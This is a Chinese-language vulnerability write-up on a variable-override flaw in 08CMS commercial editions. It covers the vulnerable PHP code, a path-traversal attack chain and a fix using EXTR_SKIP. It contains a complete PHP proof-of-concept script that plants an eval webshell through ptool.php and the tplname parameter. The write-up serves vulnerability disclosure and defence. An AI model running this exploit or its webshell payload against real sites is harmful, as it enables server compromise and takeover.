08CMS Variable Override Write Arbitrarily WEBSHELL Into Arbitrarily Path
目錄
1. 漏洞描述
2. 漏洞觸發條件
3. 漏洞影響範圍
4. 漏洞代碼分析
5. 防禦方法
6. 攻防思考
1. 漏洞描述
簡單描述這個漏洞
1. /include/general.inc.php
//本地變量注冊
foreach(array('_POST','_GET') as $_request)
{
foreach($$_request as $k => $v)
{
$k{0} != '_' && $$k = maddslashes($v);
}
}
/*
這裡實作了模拟GPC功能,将使用者輸入的GET、POST資料中的變量注冊到本地代碼空間中,導緻攻擊者理論上可以向應用程式"注入"任意的變量值
*/
2. 通過本地變量覆寫,黑客可以控制目标應用程式将要進行的寫檔案操作,向網站目錄下的任意位置寫入任意檔案
2. 漏洞觸發條件
0x1: 攻擊流
1. 上傳一個包含WEBSHELL的非PHP檔案
/*
/tools/ptool.php
..
$cf = M_ROOT.'./dynamic/stats/aclicks.cac';
$ct = M_ROOT.'./dynamic/stats/aclicks_time.cac';
..
if(@$fp = fopen($cf,'a'))
{
fwrite($fp,"$aid");
fclose($fp);
..
通過注入$aid,利用程式的本地變量覆寫漏洞,向/dynamic/stats/aclicks.cac寫入WEBSHELL代碼
$exp = /tools/ptool.php?aid=<?php eval($_POST[a]);?>
*/
2. 在第二個變量覆寫攻擊點,傳入這個檔案路徑(将要被打開的檔案路徑):
$exp1 = /index.php?tplname=../../dynamic/stats/aclicks.cac
3. 程式打開/dynamic/stats/aclicks.cac,并重新寫入到"/dynamic/stats/aclicks.cac.php"中,完成GETSHELL
0x2: POC
<?php
/*
exp: index.php?tplname=../../dynamic/stats/aclicks.cac
汽車CMS Shell: /dynamic/tplcache/common/....dynamicstatsaclicks.cac.php
裝修CMS Shell /dynamic/dynamic/stats/aclicks.cac.php
*/
//$exp = /tools/ptool.php?aid=<?php eval($_POST[a]);?>
$exp = '/tools/ptool.php?aid=%3C%3Fphp%20eval%28%24_POST%5Ba%5D%29%3B%3F%3E';
//$exp1 = /index.php?tplname=../../dynamic/stats/aclicks.cac
$exp1 = '/index.php?tplname=..%2f..%2fdynamic%2fstats%2faclicks.cac';
if ($argc < 2 )
{
print_r('
+---------------------------------------------------------------------------+
[+] php '.$argv[0].' [url]www.08sec.com[/url]
+---------------------------------------------------------------------------+
');
exit;
}
error_reporting(E_ERROR);
set_time_limit(0);
$host = $argv[1];
go($host);
function go ($host)
{
global $exp,$exp1;
$re = Send ($host,$exp);
stripos($re, "MySQL") > 0 ? Send ($host, $exp) : ""
$re = Send ($host, $exp1) && stripos($re, "aclicks.cac") > 0 ? exit(" + Exploit Success!rn + http://$host/template/dynamic/stats/aclicks.cac.phprn") : exit(" - Exploit Failed!n");
}
function Send($host,$url)
{
$data = "GET $url HTTP/1.1rn";
$data .= "Host: $hostrn";
$data .= "User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 2000) Opera 6.03 [en]rn";
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8rn";
$data .= "Content-Type: application/x-www-form-urlencodedrn";
$data .= "Accept-Language: en-usrn";
$data .= "Connection: Closernrn";
$fp = @fsockopen($host, 80);
if (!$fp)
{
die("[-] Connect to host Errorrn");
}
fwrite($fp, $data);
$back = '';
while (!feof($fp))
{
$back .= fread($fp, 1024);
}
fclose($fp);
return $back;
}
?>
Relevant Link:
http://www.unhonker.com/bug/1390.html
3. 漏洞影響範圍
08CMS全部商業版
4. 漏洞代碼分析
本地變量注冊實作代碼
/include/general.inc.php
/index.php
include_once dirname(__FILE__).'/include/general.inc.php';
include_once M_ROOT.'./include/common.fun.php';
if_siteclosed();
mobile_open() || message('手機版尚未開放');
/*
function un_virtual($str)
{
......
$str = str_replace(array('/','-'),array('&','='),$str); 把 / 和 - 替換成 & 和 =
......
return $str;
}
parse_str()把查詢字元串解析到變量中,儲存在變量$temparr中
*/
parse_str(un_virtual($_SERVER['QUERY_STRING']), $temparr);
...
$_da = array();
if(!$cnstr)
{
//$tplname這個在這裡定義的了,相當于被初始化了
$tplname = $_ismobile ? $o_index_tpl : $hometpl ;
$_da['rss'] = $cms_abs.'rss.php';
$_da += $temparr; // $_da= $_da+$temparr
unset($temparr);//銷毀變量
//變量覆寫,這樣我們可以控制了$tplname這個變量,即對它重新覆寫
extract($_da,EXTR_OVERWRITE);
//這個tpl_refresh函數就是漏洞利用的關鍵點
tpl_refresh($tplname);
...
/include/refresh.fun.php
function tpl_refresh($tplname)
{
global $templatedir,$debugtag;
$tdir = M_ROOT."template/$templatedir/";
//$tplname可以由攻擊者控制,是以$cacf也等同于被攻擊者控制
$cacf = $tdir.'pcache/'. $tplname.'.php';
if(file_exists($x = $tdir."function/utags.fun.php"))
{
include_once $x;
}
mmkdir($cacf,0,1);
if($debugtag || !file_exists($cacf))
{
//打開檔案,傳回内容
$str = load_tpl($tplname);
$tpl = @file2str(M_ROOT."template/$templatedir/".$tplname); //file2str這個是打開檔案的函數
$rt && $tpl = preg_replace("/{tpl\$(.+?)}/ies", "rtagval('\1','$rt')",$tpl); 過濾
$str = preg_replace("/<\?(?!php\s|=|\s)/i", '<?='<?'?>', $str);
$str = preg_replace("/<!--{(.+?)}-->/s", "{\1}", $str);
breplace($str,'');
nreplace($str);
quit_refresh_var();
$str = tpl_basecode($str);
/*
漏洞的關鍵,在這裡
1. $str: 攻擊者可控制,這是一個.cac檔案的内容,攻擊者可以通過另一個變量覆寫向伺服器寫入一個.cac的WEBSHELL
2. $cacf: 攻擊者可控制,攻擊者傳入的參數是一個非PHP檔案路徑(.cac檔案),這個檔案也是真實存在的,可以通過另一個變量注入上傳一個.cac檔案,同時,程式在末尾拼接了".php",使其成為寫一個PHP檔案
從結果上來看,相當于進行了一次.cac到.php的字尾重命名處理
*/
str2file($str, $cacf);
}
unset($str,$tdir,$cacf);
}
5. 防禦方法
if(!$cnstr)
{
//$tplname這個在這裡定義的了,相當于被初始化了
$tplname = $_ismobile ? $o_index_tpl : $hometpl ;
$_da['rss'] = $cms_abs.'rss.php';
$_da += $temparr; // $_da= $_da+$temparr
unset($temparr);//銷毀變量
/*
如果對應變量已經存在,則不進行覆寫操作
*/
extract($_da, EXTR_SKIP);
tpl_refresh($tplname);
...
6. 攻防思考
防禦變量覆寫的防禦思路
1. 重新運作一次原始的代碼邏輯,将被覆寫的變量再指派回原始的值
2. 在本地變量注冊的入口處對關鍵字進行檢測
Copyright (c) 2014 LittleHann All rights reserved